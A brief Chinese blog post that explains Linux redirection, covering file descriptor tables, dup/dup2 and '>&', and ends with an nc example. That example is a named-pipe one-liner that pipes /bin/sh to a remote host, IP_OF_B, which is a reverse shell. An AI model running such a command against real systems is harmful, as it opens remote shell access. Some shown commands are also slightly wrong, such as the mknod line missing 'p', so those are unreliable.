理解Linux重定向

1. Linux中執行open操作,打開一個文件時,會在進程文件描述表中新添加一項(文件描述符id + 指向內核文件描述表項的指針)。

   文件描述符表

   ------------
fd0 0   | p0 -------------> 文件表0 ---------> vnode0
   ------------
fd1 1   | p1 -------------> 文件表1 ---------> vnode1
   ------------
fd2 2   | p2
   ------------


2. 重定向時,直接修改指向內核文件描述表項的指針。(dup, dup2系統調用)

> 將標準輸出重定向到某個文件中。 (注:>&1 重定向到標準輸出)

   文件描述符表

   ------------
fd0 0   | p0
   ------------
n_fd 1   | p1 -----------
   ------------               \
fd2 2   | p2                    \
   ------------                 _\|
fd3 3   | p3 -------------> 文件表3 ---------> vnode3
   ------------


3. >& 將標準輸出和錯誤輸出都重定向到指定文件。

如 make >& log 將make輸出的所有信息都寫入log文件中。(也可以這麼寫:make > log 2 >& 1)


4. 利用NC命令將主機A中的重定向到主機B:

1). B的終端中執行如下命令:

nc -lvn 1234

2). A中執行:

mknod /tmp/testpipe

/bin/sh 0</tmp/testpipe | nc IP_OF_B 1234 1>/tmp/testpipe


http://www.cnblogs.com/GODYCA/archive/2013/01/05/2846197.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章